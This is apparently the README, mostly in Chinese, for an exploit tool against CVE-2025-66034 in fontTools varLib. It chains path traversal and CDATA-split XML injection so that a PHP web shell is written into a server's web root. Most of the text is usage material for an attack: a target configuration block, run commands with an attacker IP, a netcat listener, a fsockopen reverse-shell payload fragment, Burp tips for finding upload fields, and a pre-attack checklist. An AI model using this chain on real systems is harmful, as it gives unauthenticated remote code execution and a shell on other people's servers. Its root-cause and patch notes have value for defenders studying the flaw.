fontTools varLib — 任意文件写入 + XML 注入 → 远程代码执行
CVE-2025-66034 是 fontTools.varLib 可变字体生成流水线中的一个漏洞。当 Web 应用暴露此流水线并接受用户提供的 .designspace 文件时,两个弱点可串联起来,实现未认证的远程代码执行。
font_varlib.py 自动化了完整的利用链——字体生成、载荷构造、上传和反弹 Shell 投递。
Attacker crafts malicious .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir discarded → write to web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML INJECTION
CDATA split embeds raw PHP
into the output font binary
│
▼
fontTools.varLib.main() processes file server-side
│
▼
shell.php written to web-accessible directory
│
▼
GET /files/shell.php → PHP executes → reverse shell callback
│
▼
RCE as www-data
Python: 3.9+
依赖项:
pip install fonttools requests
系统要求:
nc (netcat) — required for auto listener mode (--no-listen skips this)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
运行前,打开 font_varlib.py,更新文件顶部的配置块以匹配你的目标。每个值都有内联注释,说明其含义以及如何找到正确的值。
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
提示: 在运行前先用 Burp Suite 拦截一次合法的上传请求,确认
UPLOAD_ENDPOINT和确切的多部分表单字段名。字段名不匹配会导致静默失败——服务器返回 HTTP 200,但不会写入任何 Shell。
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminal 1 — start your listener
nc -lvnp 4444
# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
使用 fontTools.FontBuilder 以编程方式生成两个最小但结构有效的 .ttf 源文件。varLib 处理可变字体至少需要两个轴母版——这两个文件即可满足该要求,无需磁盘上存在真实字体文件。
构造一个恶意 .designspace XML 文件,其中嵌入两种攻击原语:
原语 1 — 通过 CDATA 拆分进行 XML 注入:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
序列 ]]]]><![CDATA[> 会终止当前 CDATA 块并立即开启一个新的 CDATA 块。XML 解析器将其视为合法标记,但 varLib 会将内容逐字序列化到输出文件中——从而将原始 PHP 嵌入字体二进制文件。
原语 2 — 通过 filename 属性进行路径遍历:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib 按如下方式构造输出路径:
output_path = os.path.join(output_dir, filename)
当 filename 为绝对路径时,Python 的 os.path.join() 会完全丢弃 output_dir。受影响版本中未应用任何清理措施。
使用通过 Burp 确认的字段名,将 .designspace 和两个 .ttf 文件以 multipart POST 形式发送到目标的字体生成端点。
对写入的 .php 文件发起 HTTP GET 即可执行反弹 Shell,它会通过 fsockopen + proc_open 回连攻击者的 nc 监听器——目标上无需 curl、wget 或 Python。
fontTools/varLib/__init__.py(受影响版本):
filename = vf.filename # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename) # path traversal via absolute path
vf.save(output_path) # arbitrary file write
4.60.2 中的补丁 — 在构造 output_path 之前对 filename 强制执行 os.path.basename(),剥离所有路径遍历序列。
运行前,请确认以下所有项目:
[ ] fonttools version on target is >= 4.33.0 and < 4.60.2
[ ] Target accepts .designspace + .ttf file uploads
[ ] Backend calls fontTools.varLib.main() on the uploaded .designspace
[ ] Upload form field names confirmed with Burp (designspace + masters)
[ ] WEBROOT is web-accessible from outside
[ ] WEBROOT is writable by the web process (www-data or equivalent)
[ ] SHELL_HOST (--shell) is reachable from your machine
[ ] Target hostname are in /etc/hosts
| 环境 | fonttools 版本 | 结果 |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ 已验证 |
本工具仅供教育和授权安全研究目的使用。
请勿对你不拥有或未经明确书面许可的系统使用本工具。作者不对滥用本软件或由其造成的任何损害承担任何责任。
| 字段 | 详情 |
|---|
| CVE 编号 | CVE-2025-66034 |
| GHSA 编号 | GHSA-768j-98cg-p3fv |
| 软件包 | fonttools (pip) |
| 受影响版本 | >= 4.33.0, < 4.60.2 |
| 修复版本 | 4.60.2 |
| 严重程度 | 中等 (CVSS 6.3) |
| 攻击向量 | 本地(需要向目标上传文件) |
| 所需权限 | 无 |
| 用户交互 | 需要(上传触发) |
| # | 原语 | CWE | 根本原因 |
|---|
| 1 | 路径遍历 | CWE-22 | .designspace 中的 filename 属性未经清理直接传给 os.path.join()——绝对路径会完全丢弃预期的输出目录 |
| 2 | XML 注入 | CWE-91 | <labelname> CDATA 段允许通过拆分序列(]]]]><![CDATA[>)将原始 PHP 绕过 XML 解析器注入到写入的输出文件中 |
| 参数 | 必填 | 默认值 | 说明 |
|---|
--ip | ✓ | — | 攻击者监听 IP |
--port | ✓ | — | 攻击者监听端口 |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | 上传端点(POST) | |
--webroot | WEBROOT | 服务端文件系统写入路径(必须可通过 Web 访问) | |
--shell | SHELL_HOST | 用于触发已写入 Shell 的基础 URL | |
--no-listen | false | 跳过自动 nc 监听 — 仅触发 |
| 资源 | 链接 |
|---|